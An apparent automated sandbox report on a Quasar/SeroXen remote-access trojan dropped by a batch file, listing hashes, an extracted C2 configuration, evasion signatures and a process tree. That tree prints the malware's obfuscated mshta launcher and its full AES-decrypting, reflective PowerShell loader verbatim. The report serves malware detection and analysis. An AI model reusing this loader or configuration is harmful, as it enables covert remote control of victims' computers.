Analysis
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max time kernel
1800s -
max time network
1798s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
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submitted
02-06-2024 14:48
General
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Target
DarkMoon_Gen_1-3/lib/uni.bat
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Size
12.6MB
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MD5
8e3d8ed6db7cb979d5d56c8b847cc965
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SHA1
5d1ad752a988ce13da601448cdca5584610cffee
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SHA256
9d0b440b61b239bc3406d67bf7ae8baf1ceef65923e8558ce3a3c1a3c4a5e22a
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SHA512
d7a96420b1e61c4bc7db6c533704771e329239629201dbf34ac8a95a931da92c6e1d7ddb694a491656246b0eb491e96d194b7abccf54ef757c1aea92a9b96a0e
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SSDEEP
49152:Hq8mcjsXbvlusR48pNIN/I/EiFTPbYWLP17DFNkKuri3NSbkpXYyr7arOR150kFB:o
Score
10/10
Malware Config
Extracted
Family
quasar
Version
1.0.0.0
Botnet
v2.2.6 | SeroXen
C2
seroooooxeen.chickenkiller.com:5059
Mutex
f953c0af-702a-46b5-ad07-d900b11c5cd9
Attributes
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encryption_key
458790DC6E62EEB3043B4566BF95CDAF711F1EC0
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install_name
.exe
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log_directory
$sxr-Logs
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reconnect_delay
3000
Signatures
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Quasar RAT
Quasar is an open source Remote Access Tool.
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Quasar payload 1 IoCs
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Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
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Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 5 IoCs
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Drops file in System32 directory 17 IoCs
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Suspicious use of SetThreadContext 18 IoCs
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Drops file in Windows directory 9 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 3 IoCs
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Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
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Checks processor information in registry 2 TTPs 15 IoCs
Processor information is often read in order to detect sandboxing environments.
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Enumerates system info in registry 2 TTPs 9 IoCs
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Kills process with taskkill 1 IoCs
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Modifies data under HKEY_USERS 17 IoCs
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Modifies registry class 64 IoCs
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious use of AdjustPrivilegeToken 64 IoCs
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Suspicious use of SetWindowsHookEx 2 IoCs
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Suspicious use of UnmapMainImage 1 IoCs
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Suspicious use of WriteProcessMemory 64 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9656dd7a-b29b-43a6-bce2-0c7bc2734830}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{25489961-8d2e-4f01-904a-633b1053ec04}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9ad9ac1c-0043-4364-ae5b-89da86c8354e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a3c945ad-36b8-4fe1-a820-5449832349cb}2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3ce2067e-7285-4e71-a696-903578758245}2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b17a4e87-456c-4553-b326-08703776c50a}2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{86624705-0fe1-4341-af5a-cc5300a8ee7b}2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{663fe41d-0161-486e-8dd3-bb1e16d27f4c}2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{994dd4b1-f605-4c64-9118-49e2d0997907}2⤵
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{5bda316f-8133-48df-9576-03e6f429a04e}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2296).WaitForExit();[System.Threading.Thread]::Sleep(5000); function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{2b5c9b4d-0cfd-4b89-9943-0cc990c7627e}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{727645e2-eaa6-4dd6-8bf6-dc1d0fd51980}5⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{6a75412c-f3d2-4775-8af4-18e4d1c81f6b}5⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{ae8b12dc-9c9f-4962-a119-23bf6ba9733d}5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 4566⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{fb773f77-6743-4aeb-99c1-25a20bd15bfb}5⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d295974a-edec-4ccd-ba9f-dc180bb677b8}5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4608 -s 4646⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{a403aca2-8b1d-445a-b4ab-e489c05126dc}5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 4526⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d5428c12-8725-4903-ae4c-4ff26a5e63b6}5⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
